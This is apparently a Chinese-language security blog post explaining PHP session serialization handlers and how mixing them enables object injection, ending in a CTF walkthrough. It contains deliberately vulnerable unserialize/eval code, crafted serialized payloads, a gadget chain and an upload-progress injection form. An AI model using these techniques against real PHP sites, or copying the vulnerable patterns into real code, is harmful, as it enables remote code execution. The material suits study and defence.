PHP中SESSION反序列化机制

发表于

简介

在php.ini中存在三项配置项：

1
2
3
4
session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
在使用xampp组件安装中，上述的配置项的设置如下：

1
2
3
4
session.save_path="D:\xampp\tmp"	表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files		  	表明session是以文件的方式来进行存储的
session.auto_start=0				表明默认不启动session
session.serialize_handler=php	   	表明session的默认序列话引擎使用的是php序列话引擎

在上述的配置中，session.serialize_handler是用来设置session的序列话引擎的，除了默认的PHP引擎之外，还存在其他引擎，不同的引擎所对应的session的存储方式不相同。

  • php_binary:存储方式是，键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是，键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是，经过serialize()函数序列化处理的值

在PHP中默认使用的是PHP引擎，如果要修改为其他的引擎，只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下：

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

存储机制

php中的session中的内容并不是放在内存中的，而是以文件的方式来存储的，存储方式就是由配置项session.save_handler来进行确定的，默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的，文件的内容就是session值的序列话之后的内容。
假设我们的环境是xampp，那么默认配置如上所述。
在默认配置情况下：

1
2
3
4
5
<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>

最后的session的存储和显示如下：

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2，而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2，文件的内容是name|s:6:"spoock";。name是键值，s:6:"spoock";是serialize("spoock")的结果。

在php_serialize引擎下：

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下：

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是names:6:"spoock";。由于name的长度是4，4在ASCII表中对应的就是EOT。根据php_binary的存储规则，最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示，这个大家自行去查ASCII表吧)

序列化简单利用

test.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class syclover{
        var $func="";
        function __construct() {
            $this->func = "phpinfo()";
        }
        function __wakeup(){
            eval($this->func);
        }
}
unserialize($_GET['a']);
?>

在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串，反序列化为syclover的一个示例，那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}。那么反序列化得到的内容是:

1
2
object(syclover)[1]
  public 'func' => string 'echo "spoock";' (length=14)

最后页面输出的就是spoock，说明最后执行了我们定义的echo "spoock";方法。
这就是一个简单的序列化的漏洞的演示

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题，危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样，会导致数据无法正确第反序列化。通过精心构造的数据包，就可以绕过程序的验证或者是执行一些系统的方法。例如:

1
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize，那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。
但是我们在进行读取的时候，选择的是php，那么最后读取的内容是:

1
2
3
4
array (size=1)
  'a:1:{s:6:"spoock";s:24:"' => 
    object(__PHP_Incomplete_Class)[1]
      public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候，php引擎会以|作为作为key和value的分隔符，那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key，将O:11:"PeopleClass":0:{}作为value，然后进行反序列化，最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际利用

存在s1.php和us2.php，2个文件所使用的SESSION的引擎不一样，就形成了一个漏洞、
s1.php，使用php_serialize来处理session

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php来处理session

1
2
3
4
5
6
7
8
9
10
11
12
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }
    
    function __destruct() {
         eval($this->hi);
    }
}

当访问s1.php时，提交如下的数据：

1
localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时，页面输出，spoock成功执行了我们构造的函数。因为在访问us2.php时，程序会按照php来反序列化SESSION中的数据，此时就会反序列化伪造的数据，就会实例化lemon对象，最后就会执行析构函数中的eval()方法。

CTF

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下：
class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}

class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}

class foo3{
        public $varr;
        function execute(){
                eval($this->varr);
        }
        function __desctuct(){
                echo "<br>这是foo3的析构函数<br>";
        }
}

?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

通过代码发现，我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境，构造我们需要执行的自定义的函数。如下：
myindex.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class foo3{
        public $varr='echo "spoock";';
        function execute(){
                eval($this->varr);
        }
}
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = new foo3();
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
}

class foo1{
        public $varr;
        function __construct(){
                $this->varr = new foo2();
        }
}


$obj = new foo1();
print_r(serialize($obj));
?>

在foo1中的构造函数中定义$varr的值为foo2的实例，在foo2中定义$obj为foo3的实例，在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

1
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端，然后再访问服务器的index.php，最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置，具体为，在上传文件时，如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量，就可以将filename的值赋值到session中，上传的页面的写法如下：

1
2
3
4
5
<form action="index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

最后就会将文件名写入到session中，具体的实现细节可以参考PHP手册。
那么最终写入的文件名是|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}。注意与本地反序列化不一样的地方是要在最前方加上|
但是我在进行本地测试的时候，发现无法实现安恒这道题目所实现的效果，但是最终的原理是一样的。

总结

通过对PHP中的SESSION的分析，对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识，也有助于程序员加强在PHP中的SESSION机制的理解。

参考

PHP Session 序列化及反序列化处理器：http://drops.wooyun.org/tips/3909
PHP序列化与反序列化解读：http://www.freebuf.com/articles/web/90837.html
php序列化：http://www.cnblogs.com/iamstudy/articles/php_serialize_problem.html
Joomla远程代码执行漏洞分析（总结）：https://www.leavesongs.com/?keyword=Joomla
web3 session反序列化：http://www.math1as.com/index.php/archives/227/